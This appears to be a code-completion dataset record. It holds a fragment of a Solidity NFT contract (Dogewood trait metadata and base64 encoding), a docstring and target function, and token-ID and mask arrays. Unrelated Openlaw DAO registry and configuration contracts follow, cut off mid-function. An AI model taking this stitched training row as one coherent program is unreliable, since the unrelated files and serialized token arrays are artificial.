attributeForTypeAndValue(traitTypes[4], toString(s.armor)),',',
attributeForTypeAndValue(traitTypes[5], toString(s.offhand)),',',
attributeForTypeAndValue(traitTypes[6], toString(s.mainhand)),',',
attributeForTypeAndValue(traitTypes[7], toString(s.level)),','
));
return string(abi.encodePacked(
'[',
traits1, traits2,
'{"trait_type":"Generation","value":',
tokenId <= dogewood.getGenesisSupply() ? '"Gen 0"' : '"Gen 1"',
'},{"trait_type":"Reroll Breed Count","value":', toString(s.breedRerollCount),
'},{"trait_type":"Reroll Class Count","value":', toString(s.classRerollCount),
'}]'
));
}
/**
* generates a base64 encoded metadata response without referencing off-chain content
* @param tokenId the ID of the token to generate the metadata for
* @return a base64 encoded JSON dictionary of the token's metadata and SVG
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
string memory metadata = string(abi.encodePacked(
'{"name": "Dogewood #',
tokenId.toString(),
'", "description": "100% on-chain", "image": "data:image/svg+xml;base64,',
base64(bytes(drawSVG(tokenId))),
'", "attributes":',
compileAttributes(tokenId),
"}"
));
return string(abi.encodePacked(
"data:application/json;base64,",
base64(bytes(metadata))
));
}
/** BASE 64 - Written by Brech Devos */
function base64(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
} | * generates an array composed of all the individual traits and values @param tokenId the ID of the token to compose the metadata for @return a JSON array of all of the attributes for given token ID/ | function compileAttributes(uint256 tokenId) public view returns (string memory) {
IDogewood.Doge2 memory s = dogewood.getTokenTraits(tokenId);
string memory traits1 = string(abi.encodePacked(
attributeForTypeAndValue(traitTypes[0], traitNames[0][s.head]),',',
attributeForTypeAndValue(traitTypes[1], traitNames[1][s.breed]),',',
attributeForTypeAndValue(traitTypes[2], traitNames[2][s.color]),',',
attributeForTypeAndValue(traitTypes[3], traitNames[3][s.class]),','
));
string memory traits2 = string(abi.encodePacked(
attributeForTypeAndValue(traitTypes[4], toString(s.armor)),',',
attributeForTypeAndValue(traitTypes[5], toString(s.offhand)),',',
attributeForTypeAndValue(traitTypes[6], toString(s.mainhand)),',',
attributeForTypeAndValue(traitTypes[7], toString(s.level)),','
));
return string(abi.encodePacked(
'[',
traits1, traits2,
'{"trait_type":"Generation","value":',
tokenId <= dogewood.getGenesisSupply() ? '"Gen 0"' : '"Gen 1"',
'}]'
));
}
| 15,440,254 | [
1,
3441,
815,
392,
526,
18673,
434,
777,
326,
7327,
18370,
471,
924,
225,
1147,
548,
326,
1599,
434,
326,
1147,
358,
11458,
326,
1982,
364,
327,
279,
1796,
526,
434,
777,
434,
326,
1677,
364,
864,
1147,
1599,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
4074,
2498,
12,
11890,
5034,
1147,
548,
13,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
565,
1599,
717,
359,
4773,
18,
40,
717,
73,
22,
3778,
272,
273,
302,
717,
359,
4773,
18,
588,
1345,
30370,
12,
2316,
548,
1769,
203,
203,
565,
533,
3778,
18370,
21,
273,
533,
12,
21457,
18,
3015,
4420,
329,
12,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
20,
6487,
13517,
1557,
63,
20,
6362,
87,
18,
1978,
65,
3631,
2187,
2187,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
21,
6487,
13517,
1557,
63,
21,
6362,
87,
18,
6073,
329,
65,
3631,
2187,
2187,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
22,
6487,
13517,
1557,
63,
22,
6362,
87,
18,
3266,
65,
3631,
2187,
2187,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
23,
6487,
13517,
1557,
63,
23,
6362,
87,
18,
1106,
65,
3631,
17023,
203,
565,
262,
1769,
203,
565,
533,
3778,
18370,
22,
273,
533,
12,
21457,
18,
3015,
4420,
329,
12,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
24,
6487,
1762,
12,
87,
18,
4610,
280,
13,
3631,
2187,
2187,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
25,
6487,
1762,
12,
87,
18,
3674,
2349,
13,
3631,
2187,
2187,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
26,
6487,
1762,
12,
87,
18,
5254,
2349,
13,
3631,
2187,
2187,
203,
1377,
1566,
22405,
30154,
12,
22513,
2016,
63,
27,
6487,
1762,
12,
87,
18,
2815,
13,
3631,
17023,
203,
2
] |
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "../core/DaoConstants.sol";
import "../core/DaoRegistry.sol";
import "../guards/MemberGuard.sol";
import "../guards/AdapterGuard.sol";
import "./interfaces/IConfiguration.sol";
import "../adapters/interfaces/IVoting.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
contract ConfigurationContract is
IConfiguration,
DaoConstants,
MemberGuard,
AdapterGuard
{
mapping(address => mapping(bytes32 => Configuration[]))
private _configurations;
/*
* default fallback function to prevent from sending ether to the contract
*/
receive() external payable {
revert("fallback revert");
}
function submitProposal(
DaoRegistry dao,
bytes32 proposalId,
Configuration[] calldata configs,
bytes calldata data
) external override onlyMember(dao) reentrancyGuard(dao) {
require(configs.length > 0, "missing configs");
dao.submitProposal(proposalId);
Configuration[] storage newConfigs = _configurations[address(dao)][
proposalId
];
for (uint256 i = 0; i < configs.length; i++) {
Configuration memory config = configs[i];
newConfigs.push(
Configuration({
key: config.key,
configType: config.configType,
numericValue: config.numericValue,
addressValue: config.addressValue
})
);
}
IVoting votingContract = IVoting(dao.getAdapterAddress(VOTING));
address sponsoredBy = votingContract.getSenderAddress(
dao,
address(this),
data,
msg.sender
);
dao.sponsorProposal(proposalId, sponsoredBy, address(votingContract));
votingContract.startNewVotingForProposal(dao, proposalId, data);
}
function processProposal(DaoRegistry dao, bytes32 proposalId)
external
override
reentrancyGuard(dao)
{
dao.processProposal(proposalId);
IVoting votingContract = IVoting(dao.votingAdapter(proposalId));
require(address(votingContract) != address(0), "adapter not found");
require(
votingContract.voteResult(dao, proposalId) ==
IVoting.VotingState.PASS,
"proposal did not pass"
);
Configuration[] memory configs = _configurations[address(dao)][
proposalId
];
for (uint256 i = 0; i < configs.length; i++) {
Configuration memory config = configs[i];
if (ConfigType.NUMERIC == config.configType) {
dao.setConfiguration(config.key, config.numericValue);
} else if (ConfigType.ADDRESS == config.configType) {
dao.setAddressConfiguration(config.key, config.addressValue);
}
}
}
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "../../core/DaoRegistry.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
interface IConfiguration {
enum ConfigType {
NUMERIC,
ADDRESS
}
struct Configuration {
bytes32 key;
uint256 numericValue;
address addressValue;
ConfigType configType;
}
function submitProposal(
DaoRegistry dao,
bytes32 proposalId,
Configuration[] calldata configs,
bytes calldata data
) external;
function processProposal(DaoRegistry dao, bytes32 proposalId) external;
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "../../core/DaoRegistry.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
interface IVoting {
enum VotingState {
NOT_STARTED,
TIE,
PASS,
NOT_PASS,
IN_PROGRESS,
GRACE_PERIOD
}
function getAdapterName() external pure returns (string memory);
function startNewVotingForProposal(
DaoRegistry dao,
bytes32 proposalId,
bytes calldata data
) external;
function getSenderAddress(
DaoRegistry dao,
address actionId,
bytes memory data,
address sender
) external returns (address);
function voteResult(DaoRegistry dao, bytes32 proposalId)
external
returns (VotingState state);
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
abstract contract DaoConstants {
// Adapters
bytes32 internal constant VOTING = keccak256("voting");
bytes32 internal constant ONBOARDING = keccak256("onboarding");
bytes32 internal constant NONVOTING_ONBOARDING =
keccak256("nonvoting-onboarding");
bytes32 internal constant TRIBUTE = keccak256("tribute");
bytes32 internal constant FINANCING = keccak256("financing");
bytes32 internal constant MANAGING = keccak256("managing");
bytes32 internal constant RAGEQUIT = keccak256("ragequit");
bytes32 internal constant GUILDKICK = keccak256("guildkick");
bytes32 internal constant EXECUTION = keccak256("execution");
bytes32 internal constant CONFIGURATION = keccak256("configuration");
bytes32 internal constant DISTRIBUTE = keccak256("distribute");
bytes32 internal constant TRIBUTE_NFT = keccak256("tribute-nft");
// Extensions
bytes32 internal constant BANK = keccak256("bank");
bytes32 internal constant NFT = keccak256("nft");
bytes32 internal constant ERC20_EXT = keccak256("erc20-ext");
bytes32 internal constant EXECUTOR_EXT = keccak256("executor-ext");
// Reserved Addresses
address internal constant GUILD = address(0xdead);
address internal constant TOTAL = address(0xbabe);
address internal constant ESCROW = address(0x4bec);
address internal constant UNITS = address(0xFF1CE);
address internal constant LOOT = address(0xB105F00D);
address internal constant ETH_TOKEN = address(0x0);
address internal constant MEMBER_COUNT = address(0xDECAFBAD);
uint8 internal constant MAX_TOKENS_GUILD_BANK = 200;
//helper
function getFlag(uint256 flags, uint256 flag) public pure returns (bool) {
return (flags >> uint8(flag)) % 2 == 1;
}
function setFlag(
uint256 flags,
uint256 flag,
bool value
) public pure returns (uint256) {
if (getFlag(flags, flag) != value) {
if (value) {
return flags + 2**flag;
} else {
return flags - 2**flag;
}
} else {
return flags;
}
}
/**
* @notice Checks if a given address is reserved.
*/
function isNotReservedAddress(address addr) public pure returns (bool) {
return addr != GUILD && addr != TOTAL && addr != ESCROW;
}
/**
* @notice Checks if a given address is zeroed.
*/
function isNotZeroAddress(address addr) public pure returns (bool) {
return addr != address(0x0);
}
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "./DaoConstants.sol";
import "../guards/AdapterGuard.sol";
import "../guards/MemberGuard.sol";
import "../extensions/IExtension.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
contract DaoRegistry is MemberGuard, AdapterGuard {
bool public initialized = false; // internally tracks deployment under eip-1167 proxy pattern
enum DaoState {
CREATION,
READY
}
/*
* EVENTS
*/
/// @dev - Events for Proposals
event SubmittedProposal(bytes32 proposalId, uint256 flags);
event SponsoredProposal(
bytes32 proposalId,
uint256 flags,
address votingAdapter
);
event ProcessedProposal(bytes32 proposalId, uint256 flags);
event AdapterAdded(
bytes32 adapterId,
address adapterAddress,
uint256 flags
);
event AdapterRemoved(bytes32 adapterId);
event ExtensionAdded(bytes32 extensionId, address extensionAddress);
event ExtensionRemoved(bytes32 extensionId);
/// @dev - Events for Members
event UpdateDelegateKey(address memberAddress, address newDelegateKey);
event ConfigurationUpdated(bytes32 key, uint256 value);
event AddressConfigurationUpdated(bytes32 key, address value);
enum MemberFlag {
EXISTS
}
enum ProposalFlag {
EXISTS,
SPONSORED,
PROCESSED
}
enum AclFlag {
REPLACE_ADAPTER,
SUBMIT_PROPOSAL,
UPDATE_DELEGATE_KEY,
SET_CONFIGURATION,
ADD_EXTENSION,
REMOVE_EXTENSION,
NEW_MEMBER
}
/*
* STRUCTURES
*/
struct Proposal {
// the structure to track all the proposals in the DAO
address adapterAddress; // the adapter address that called the functions to change the DAO state
uint256 flags; // flags to track the state of the proposal: exist, sponsored, processed, canceled, etc.
}
struct Member {
// the structure to track all the members in the DAO
uint256 flags; // flags to track the state of the member: exists, etc
}
struct Checkpoint {
// A checkpoint for marking number of votes from a given block
uint96 fromBlock;
uint160 amount;
}
struct DelegateCheckpoint {
// A checkpoint for marking number of votes from a given block
uint96 fromBlock;
address delegateKey;
}
struct AdapterEntry {
bytes32 id;
uint256 acl;
}
struct ExtensionEntry {
bytes32 id;
mapping(address => uint256) acl;
}
/*
* PUBLIC VARIABLES
*/
mapping(address => Member) public members; // the map to track all members of the DAO
address[] private _members;
// delegate key => member address mapping
mapping(address => address) public memberAddressesByDelegatedKey;
// memberAddress => checkpointNum => DelegateCheckpoint
mapping(address => mapping(uint32 => DelegateCheckpoint)) checkpoints;
// memberAddress => numDelegateCheckpoints
mapping(address => uint32) numCheckpoints;
DaoState public state;
/// @notice The map that keeps track of all proposasls submitted to the DAO
mapping(bytes32 => Proposal) public proposals;
/// @notice The map that tracks the voting adapter address per proposalId
mapping(bytes32 => address) public votingAdapter;
/// @notice The map that keeps track of all adapters registered in the DAO
mapping(bytes32 => address) public adapters;
/// @notice The inverse map to get the adapter id based on its address
mapping(address => AdapterEntry) public inverseAdapters;
/// @notice The map that keeps track of all extensions registered in the DAO
mapping(bytes32 => address) public extensions;
/// @notice The inverse map to get the extension id based on its address
mapping(address => ExtensionEntry) public inverseExtensions;
/// @notice The map that keeps track of configuration parameters for the DAO and adapters
mapping(bytes32 => uint256) public mainConfiguration;
mapping(bytes32 => address) public addressConfiguration;
uint256 public lockedAt;
/// @notice Clonable contract must have an empty constructor
// constructor() {
// }
/**
* @notice Initialises the DAO
* @dev Involves initialising available tokens, checkpoints, and membership of creator
* @dev Can only be called once
* @param creator The DAO's creator, who will be an initial member
* @param payer The account which paid for the transaction to create the DAO, who will be an initial member
*/
function initialize(address creator, address payer) external {
require(!initialized, "dao already initialized");
potentialNewMember(msg.sender);
potentialNewMember(payer);
potentialNewMember(creator);
initialized = true;
}
/**
* @notice default fallback function to prevent from sending ether to the contract
*/
receive() external payable {
revert("you cannot send money back directly");
}
/**
* @dev Sets the state of the dao to READY
*/
function finalizeDao() external {
state = DaoState.READY;
}
function lockSession() external {
if (isAdapter(msg.sender) || isExtension(msg.sender)) {
lockedAt = block.number;
}
}
function unlockSession() external {
if (isAdapter(msg.sender) || isExtension(msg.sender)) {
lockedAt = 0;
}
}
/**
* @notice Sets a configuration value
* @dev Changes the value of a key in the configuration mapping
* @param key The configuration key for which the value will be set
* @param value The value to set the key
*/
function setConfiguration(bytes32 key, uint256 value)
external
hasAccess(this, AclFlag.SET_CONFIGURATION)
{
mainConfiguration[key] = value;
emit ConfigurationUpdated(key, value);
}
function potentialNewMember(address memberAddress)
public
hasAccess(this, AclFlag.NEW_MEMBER)
{
require(memberAddress != address(0x0), "invalid member address");
Member storage member = members[memberAddress];
if (!getFlag(member.flags, uint8(MemberFlag.EXISTS))) {
require(
memberAddressesByDelegatedKey[memberAddress] == address(0x0),
"member address already taken as delegated key"
);
member.flags = setFlag(
member.flags,
uint8(MemberFlag.EXISTS),
true
);
memberAddressesByDelegatedKey[memberAddress] = memberAddress;
_members.push(memberAddress);
}
address bankAddress = extensions[BANK];
if (bankAddress != address(0x0)) {
BankExtension bank = BankExtension(bankAddress);
if (bank.balanceOf(memberAddress, MEMBER_COUNT) == 0) {
bank.addToBalance(memberAddress, MEMBER_COUNT, 1);
}
}
}
/**
* @notice Sets an configuration value
* @dev Changes the value of a key in the configuration mapping
* @param key The configuration key for which the value will be set
* @param value The value to set the key
*/
function setAddressConfiguration(bytes32 key, address value)
external
hasAccess(this, AclFlag.SET_CONFIGURATION)
{
addressConfiguration[key] = value;
emit AddressConfigurationUpdated(key, value);
}
/**
* @return The configuration value of a particular key
* @param key The key to look up in the configuration mapping
*/
function getConfiguration(bytes32 key) external view returns (uint256) {
return mainConfiguration[key];
}
/**
* @return The configuration value of a particular key
* @param key The key to look up in the configuration mapping
*/
function getAddressConfiguration(bytes32 key)
external
view
returns (address)
{
return addressConfiguration[key];
}
/**
* @notice Adds a new extension to the registry
* @param extensionId The unique identifier of the new extension
* @param extension The address of the extension
* @param creator The DAO's creator, who will be an initial member
*/
function addExtension(
bytes32 extensionId,
IExtension extension,
address creator
) external hasAccess(this, AclFlag.ADD_EXTENSION) {
require(extensionId != bytes32(0), "extension id must not be empty");
require(
extensions[extensionId] == address(0x0),
"extension Id already in use"
);
extensions[extensionId] = address(extension);
inverseExtensions[address(extension)].id = extensionId;
extension.initialize(this, creator);
emit ExtensionAdded(extensionId, address(extension));
}
function setAclToExtensionForAdapter(
address extensionAddress,
address adapterAddress,
uint256 acl
) external hasAccess(this, AclFlag.ADD_EXTENSION) {
require(isAdapter(adapterAddress), "not an adapter");
require(isExtension(extensionAddress), "not an extension");
inverseExtensions[extensionAddress].acl[adapterAddress] = acl;
}
/**
* @notice Replaces an adapter in the registry in a single step.
* @notice It handles addition and removal of adapters as special cases.
* @dev It removes the current adapter if the adapterId maps to an existing adapter address.
* @dev It adds an adapter if the adapterAddress parameter is not zeroed.
* @param adapterId The unique identifier of the adapter
* @param adapterAddress The address of the new adapter or zero if it is a removal operation
* @param acl The flags indicating the access control layer or permissions of the new adapter
* @param keys The keys indicating the adapter configuration names.
* @param values The values indicating the adapter configuration values.
*/
function replaceAdapter(
bytes32 adapterId,
address adapterAddress,
uint128 acl,
bytes32[] calldata keys,
uint256[] calldata values
) external hasAccess(this, AclFlag.REPLACE_ADAPTER) {
require(adapterId != bytes32(0), "adapterId must not be empty");
address currentAdapterAddr = adapters[adapterId];
if (currentAdapterAddr != address(0x0)) {
delete inverseAdapters[currentAdapterAddr];
delete adapters[adapterId];
emit AdapterRemoved(adapterId);
}
for (uint256 i = 0; i < keys.length; i++) {
bytes32 key = keys[i];
uint256 value = values[i];
mainConfiguration[key] = value;
emit ConfigurationUpdated(key, value);
}
if (adapterAddress != address(0x0)) {
require(
inverseAdapters[adapterAddress].id == bytes32(0),
"adapterAddress already in use"
);
adapters[adapterId] = adapterAddress;
inverseAdapters[adapterAddress].id = adapterId;
inverseAdapters[adapterAddress].acl = acl;
emit AdapterAdded(adapterId, adapterAddress, acl);
}
}
/**
* @notice Removes an adapter from the registry
* @param extensionId The unique identifier of the extension
*/
function removeExtension(bytes32 extensionId)
external
hasAccess(this, AclFlag.REMOVE_EXTENSION)
{
require(extensionId != bytes32(0), "extensionId must not be empty");
require(
extensions[extensionId] != address(0x0),
"extensionId not registered"
);
delete inverseExtensions[extensions[extensionId]];
delete extensions[extensionId];
emit ExtensionRemoved(extensionId);
}
/**
* @notice Looks up if there is an extension of a given address
* @return Whether or not the address is an extension
* @param extensionAddr The address to look up
*/
function isExtension(address extensionAddr) public view returns (bool) {
return inverseExtensions[extensionAddr].id != bytes32(0);
}
/**
* @notice Looks up if there is an adapter of a given address
* @return Whether or not the address is an adapter
* @param adapterAddress The address to look up
*/
function isAdapter(address adapterAddress) public view returns (bool) {
return inverseAdapters[adapterAddress].id != bytes32(0);
}
/**
* @notice Checks if an adapter has a given ACL flag
* @return Whether or not the given adapter has the given flag set
* @param adapterAddress The address to look up
* @param flag The ACL flag to check against the given address
*/
function hasAdapterAccess(address adapterAddress, AclFlag flag)
public
view
returns (bool)
{
return getFlag(inverseAdapters[adapterAddress].acl, uint8(flag));
}
/**
* @notice Checks if an adapter has a given ACL flag
* @return Whether or not the given adapter has the given flag set
* @param adapterAddress The address to look up
* @param flag The ACL flag to check against the given address
*/
function hasAdapterAccessToExtension(
address adapterAddress,
address extensionAddress,
uint8 flag
) public view returns (bool) {
return
isAdapter(adapterAddress) &&
getFlag(
inverseExtensions[extensionAddress].acl[adapterAddress],
uint8(flag)
);
}
/**
* @return The address of a given adapter ID
* @param adapterId The ID to look up
*/
function getAdapterAddress(bytes32 adapterId)
external
view
returns (address)
{
require(adapters[adapterId] != address(0), "adapter not found");
return adapters[adapterId];
}
/**
* @return The address of a given extension Id
* @param extensionId The ID to look up
*/
function getExtensionAddress(bytes32 extensionId)
external
view
returns (address)
{
require(extensions[extensionId] != address(0), "extension not found");
return extensions[extensionId];
}
/**
* PROPOSALS
*/
/**
* @notice Submit proposals to the DAO registry
*/
function submitProposal(bytes32 proposalId)
public
hasAccess(this, AclFlag.SUBMIT_PROPOSAL)
{
require(proposalId != bytes32(0), "invalid proposalId");
require(
!getProposalFlag(proposalId, ProposalFlag.EXISTS),
"proposalId must be unique"
);
proposals[proposalId] = Proposal(msg.sender, 1); // 1 means that only the first flag is being set i.e. EXISTS
emit SubmittedProposal(proposalId, 1);
}
/**
* @notice Sponsor proposals that were submitted to the DAO registry
* @dev adds SPONSORED to the proposal flag
* @param proposalId The ID of the proposal to sponsor
* @param sponsoringMember The member who is sponsoring the proposal
*/
function sponsorProposal(
bytes32 proposalId,
address sponsoringMember,
address votingAdapterAddr
) external onlyMember2(this, sponsoringMember) {
// also checks if the flag was already set
Proposal storage proposal = _setProposalFlag(
proposalId,
ProposalFlag.SPONSORED
);
uint256 flags = proposal.flags;
require(
proposal.adapterAddress == msg.sender,
"only the adapter that submitted the proposal can process it"
);
require(
!getFlag(flags, uint8(ProposalFlag.PROCESSED)),
"proposal already processed"
);
votingAdapter[proposalId] = votingAdapterAddr;
emit SponsoredProposal(proposalId, flags, votingAdapterAddr);
}
/**
* @notice Mark a proposal as processed in the DAO registry
* @param proposalId The ID of the proposal that is being processed
*/
function processProposal(bytes32 proposalId) external {
Proposal storage proposal = _setProposalFlag(
proposalId,
ProposalFlag.PROCESSED
);
require(proposal.adapterAddress == msg.sender, "err::adapter mismatch");
uint256 flags = proposal.flags;
emit ProcessedProposal(proposalId, flags);
}
/**
* @notice Sets a flag of a proposal
* @dev Reverts if the proposal is already processed
* @param proposalId The ID of the proposal to be changed
* @param flag The flag that will be set on the proposal
*/
function _setProposalFlag(bytes32 proposalId, ProposalFlag flag)
internal
returns (Proposal storage)
{
Proposal storage proposal = proposals[proposalId];
uint256 flags = proposal.flags;
require(
getFlag(flags, uint8(ProposalFlag.EXISTS)),
"proposal does not exist for this dao"
);
require(
proposal.adapterAddress == msg.sender,
"only the adapter that submitted the proposal can set its flag"
);
require(!getFlag(flags, uint8(flag)), "flag already set");
flags = setFlag(flags, uint8(flag), true);
proposals[proposalId].flags = flags;
return proposals[proposalId];
}
/*
* MEMBERS
*/
/**
* @return Whether or not a given address is a member of the DAO.
* @dev it will resolve by delegate key, not member address.
* @param addr The address to look up
*/
function isMember(address addr) public view returns (bool) {
address memberAddress = memberAddressesByDelegatedKey[addr];
return getMemberFlag(memberAddress, MemberFlag.EXISTS);
}
/**
* @return Whether or not a flag is set for a given proposal
* @param proposalId The proposal to check against flag
* @param flag The flag to check in the proposal
*/
function getProposalFlag(bytes32 proposalId, ProposalFlag flag)
public
view
returns (bool)
{
return getFlag(proposals[proposalId].flags, uint8(flag));
}
/**
* @return Whether or not a flag is set for a given member
* @param memberAddress The member to check against flag
* @param flag The flag to check in the member
*/
function getMemberFlag(address memberAddress, MemberFlag flag)
public
view
returns (bool)
{
